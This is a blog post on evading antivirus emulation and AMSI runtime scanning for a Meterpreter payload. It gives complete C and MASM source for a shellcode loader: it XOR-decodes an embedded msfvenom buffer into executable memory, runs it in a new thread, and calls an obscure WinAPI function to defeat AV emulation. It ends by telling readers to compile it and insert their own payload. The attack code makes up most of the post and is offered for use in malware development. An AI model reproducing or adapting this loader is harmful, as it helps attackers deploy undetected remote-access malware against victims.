synawk

Another AMSI Bypass Runtime Scanning ft. Meterpreter

Here we go again. When developing malware, avoiding AMSI detection (static and dynamic analysis) is probably the easiest thing to do. Today I’ll demonstrate another one (dumb) method for avoiding AMSI detection (emulation and runtime).

In my last post, I explained how easy it is to bypass AMSI by just developing a brute force algorithm in order to decode a meterpreter payload. But I realized that I didn’t explain in detail how the emulation and the runtime scanning works. So I will try to explain it in this post.

First of all, no one talks about emulation analysis which is part of Antivirus static analysis . Besides the signature detection, the static analysis also does an emulation of the malware. Which means that the AV could detect malware if its cipher is a simple xor encoding. For instance, taking my last post as an example, I have the following code:

unsigned char key=0;
unsigned char lastKey=0;
unsigned char res=0x0;
while(res!=0xfc){
    int N=0x85;int M=0x70;
    srand(time(NULL));
    key = rand () % (N-M+1) + M;
    res = (unsigned char)((buf[0] ^ key));
    //logs
    if(lastKey!=key)
        printf(">>test key: %x<<\n", key);
    lastKey=key;

}

As you can see, I decoded the meterpreter payload using bruteforce with a key stored into unsigned char key, but if I tried putting the key directly in the variable, it would look like this.

unsigned char key=0x80;
char * alloc = VirtualAlloc(NULL, dwSizeShellcode, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);

for(int i=0;i<dwSizeShellcode;i++){
    *(BYTE *)(alloc + i) = (*(BYTE *)(buf + i)) ^ key;
}

The antivirus most likely detected it as malware, and the reason is simple: some antiviruses can detect what you’re doing with memory, i.e., what kind of information you’re storing after any manipulation, such as xor encoding. In this case the variable alloc is storing the payload decoded so the antivirus are able to read it. And the key is precisaly that.. “almost”. If i try something like this:

char *lpMemory = VirtualAlloc(NULL,size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(lpMemory==0x200){
    return 0;
}

We are trying to guess what value is retrieved by the function VirtualAlloc; but the antivirus knows that this sentence will be false, so the return will never happen. Now try to imagine the same functionallity but with any WinAPI function; the AV will “know” what the return value is for almost any function, so we must find a WinAPI function little known with a value different to 0 or somethig we cant predict. In order to do that, we could try to load different DLLs and test the functions. For instance, I found a function that returns -2 without passing any argument. So I built the next function:

void bypassEmulation(){
    HMODULE hModule = LoadLibraryA("C:\\Windows\\System32\\wlidnsp.dll");
    FARPROC addr = GetProcAddress(hModule, "NSPCleanup");
    SysRunExec(addr);
}

I also created the SysRunExec function in MASM. Basically, it gets the function address and runs it. As you can see, the execution jumps to exitprocess if the return value of call rcx (rax) is different from-2.

SysRunExec proc
	
	call rcx
	cmp rax, -2h
	jl _wxExit
	xor rax, rax
	ret

	_wxExit:
    sub rsp, 40
    mov rcx, 1
	call ExitProcess
	add rsp, 40
	ret

SysRunExec endp

In the next video, you can see the whole process. First I compile the code without jumping into the bypass function, and the AV detects it as malware. The jump code (a WinAPI function) is then compiled, and it works.


syscall64.asm

public SysMetamorphic


EXTRN wnMain:PROC
EXTRN bypassEmulation: PROC
EXTRN ExitProcess: PROC


.code
SysRunExec proc
	
	call rcx
	cmp rax, -2h
	jl _wxExit
	xor rax, rax
	ret

	_wxExit:
        sub rsp, 40
        mov rcx, 1
	call ExitProcess
	add rsp, 40
	ret

SysRunExec endp

SysMetamorphic proc

	jmp wnMain
	ret

SysMetamorphic endp

SysWrapper proc
    sub rsp, 40
	call bypassEmulation
	add rsp, 40

	NOP
	NOP
	NOP
	xor eax, eax
	mov eax, 5h
	ret
SysWrapper endp

end

main.c

#include<windows.h>
#include<stdio.h>
#include<winternl.h>
#include<stdlib.h>
#include<time.h>


int SysMetamorphic(PVOID arg);
DWORD SysWrapper();

DWORD SysRunExec(FARPROC addr);

void bypassEmulation(){
    HMODULE hModule = LoadLibraryA("C:\\Windows\\System32\\wlidnsp.dll");
    FARPROC addr = GetProcAddress(hModule, "NSPCleanup");
    SysRunExec(addr);
}

void wnMain(DWORD_PTR argv){

	__int64 fArgv = *(unsigned __int64 *)argv;
	char *sFilename = (char *) fArgv;

	unsigned char buf[] = {0x7c,0xc8,0x3,0x64,0x70,0x68,0x40,0x80,0x80,0x80,0xc1,0xd1,0xc1,0xd0,0xd2,0xd1,0xd6,0xc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Memory = VirtualAlloc(NULL,size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(lpMemory, buf, size);

	unsigned char key=0x80;

	char *pointer = malloc(size);
	unsigned int n=0;
	while(n<size){
		*(BYTE *)(pointer + n) = (*(BYTE *)(buf + n))^key;
		n++;
	}
	memcpy(lpMemory, pointer, size);
	CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpMemory, NULL, 0, 0);
	Sleep(1000);


	printf("ERROR: %d\n", GetLastError());
}

int main(int argc, char *argv[]){

	DWORD out = SysWrapper();
	if(out==5){
		SysMetamorphic(&argv);
	}
	return 0;
}

You have to compile the both files with cl.exe and ml.exe. and change buf with your msfvenom payload. There’s not much more to say. Avoiding AMSI detection in runtime scanning is still easy. In fact, this same process works with a few AV as well. So the next step is probably to try to get these “unknown” functions in runtime before launching the malware, but i think is too much work right now :D